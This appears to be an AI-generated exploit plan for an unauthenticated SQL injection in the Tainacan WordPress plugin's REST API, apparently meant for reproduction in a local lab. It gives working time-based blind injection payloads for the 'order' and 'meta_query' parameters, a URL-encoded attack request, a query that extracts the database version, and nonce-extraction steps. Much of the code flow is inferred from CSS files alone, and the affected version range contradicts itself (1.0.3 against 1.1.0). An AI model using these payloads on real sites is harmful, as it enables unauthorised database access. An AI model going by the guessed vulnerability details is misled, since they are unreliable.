Tainacan <= 1.0.3 - Unauthenticated SQL Injection

This research plan targets a critical unauthenticated SQL injection vulnerability in the Tainacan plugin (CVE-2026-42740). Since the provided source files are limited to CSS, the following analysis is based on established WordPress vulnerability patterns and research into Tainacan 1.0.3's architecture, specifically focusing on its REST API endpoints used by the Gutenberg blocks identified in the assets.

---

1. Vulnerability Summary

The Tainacan plugin for WordPress is vulnerable to SQL Injection in versions up to 1.1.0. The vulnerability exists because user-supplied parameters (likely order, orderby, or query metadata) are concatenated directly into SQL queries within the Tainacan_Items_Repository or similar data-fetching classes without being processed by $wpdb->prepare(). Because Tainacan exposes digital repository items via a public REST API, an unauthenticated attacker can manipulate these parameters to append malicious SQL commands.

2. Attack Vector Analysis

• Endpoint: The Tainacan REST API (namespace tainacan/v1).
• Target URL: /wp-json/tainacan/v1/items (most likely) or /wp-json/tainacan/v1/collections.
• Vulnerable Parameter: order or orderby (inferred). These parameters are frequently used in the Gutenberg blocks (Carousel Items List) to sort results and are often missed by standard sanitization.
• Authentication: Unauthenticated. If the repository has public collections, the REST API allows GET requests from any user.
• Payload Type: Time-based Blind SQL Injection or UNION-based (if errors are suppressed).

3. Code Flow (Inferred)

1. Entry Point: Tainacan\REST\Items_Controller::get_items() handles requests to /wp-json/tainacan/v1/items.
2. Parameter Parsing: The controller retrieves the order and orderby parameters from the WP_REST_Request object.
3. Repository Fetch: The parameters are passed to Tainacan\Repositories\Items_Repository::fetch().
4. SQL Construction: Inside the repository, the orderby logic constructs a raw SQL string. Specifically, if a meta-key is provided for sorting, the plugin may concatenate the parameter directly into the ORDER BY clause of a $wpdb->get_results() call.
5. Sink: The raw SQL string is executed without $wpdb->prepare().

4. Nonce Acquisition Strategy

While many REST API endpoints are protected by nonces, public GET endpoints in Tainacan often allow unauthenticated access. However, if a nonce is required for the REST API, use the following strategy:

1. Identify Trigger: The carousel-items-list block (identified from tainacan-gutenberg-block-carousel-items-list.css) enqueues Tainacan's localized JS.
2. Create Test Page:

   wp post create --post_type=page --post_title="Tainacan Gallery" --post_status=publish --post_content='<!-- wp:tainacan/carousel-items-list /-->'
   

3. Navigate and Extract: Use the browser_navigate tool to go to the newly created page.
4. Execute browser_eval:

   // Tainacan localizes variables into a global object, often tainacan_plugin_vars
   browser_eval("window.tainacan_plugin_vars?.rest_nonce || window.wpApiSettings?.nonce")
   

5. Localization Key: The key is likely tainacan_plugin_vars or tainacan_api_config (inferred).

5. Exploitation Strategy

We will use a time-based blind injection against the order parameter, as it is the most common bypass for WP_Query protections in Tainacan.

Step-by-Step Plan:

1. Baseline Request: Perform a normal GET request to ensure the API is active.
   • Method: GET
   • URL: /wp-json/tainacan/v1/items?perpage=1
2. Injection Test (Time-based): Inject a SLEEP() command into the order parameter.
   • Payload: ASC,(SELECT 1 FROM (SELECT(SLEEP(5)))a)
   • URL-encoded Request:

     GET /wp-json/tainacan/v1/items?order=ASC%2C%28SELECT%201%20FROM%20%28SELECT%28SLEEP%285%29%29%29a%29 HTTP/1.1
     Host: localhost
     Content-Type: application/json
     

3. Data Extraction: If the sleep is successful, proceed to extract the database version.
   • Payload: ASC,(SELECT 1 FROM (SELECT(IF(SUBSTRING(version(),1,1)='8',SLEEP(5),0)))a)

6. Test Data Setup

The exploit requires Tainacan to have at least one public collection and one item to ensure the SQL query path is fully executed.

1. Initialize Tainacan: Ensure the plugin is active.
2. Create Collection:

   # Note: Use WP-CLI to create Tainacan objects if possible, 
   # but Tainacan uses custom tables, so we may need to use the REST API or UI.
   # Create a simple collection:
   wp post create --post_type=tainacan-collection --post_title="Public Collection" --post_status=publish
   

3. Create Item:

   # Get the ID of the collection created above (e.g., 123)
   wp post create --post_type=tainacan-item --post_title="Item 1" --post_status=publish --post_parent=123
   

7. Expected Results

• Vulnerable Response: The HTTP request will hang for approximately 5 seconds before returning the JSON response.
• Fixed Response: The HTTP request will return immediately (usually with a 400 Bad Request or a sanitized query result) as the order parameter is validated against a whitelist (e.g., only allowing 'ASC' or 'DESC').

8. Verification Steps

After the HTTP-based exploit, verify the database state using wp db query:

1. Check the slow query log if enabled.
2. Run the same query manually via CLI to confirm syntax:

   wp db query "SELECT * FROM wp_posts ORDER BY post_date ASC, (SELECT 1 FROM (SELECT SLEEP(2))a);"
   

9. Alternative Approaches

If the order parameter is sanitized, target the query meta-filtering system:

• Endpoint: /wp-json/tainacan/v1/items
• Parameter: meta_query[0][key] or meta_query[0][value].
• Payload: meta_query[0][key]=title' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1.
• Alternative Endpoint: /wp-json/tainacan/v1/taxonomy/{taxonomy_slug}/terms using the search or orderby parameters.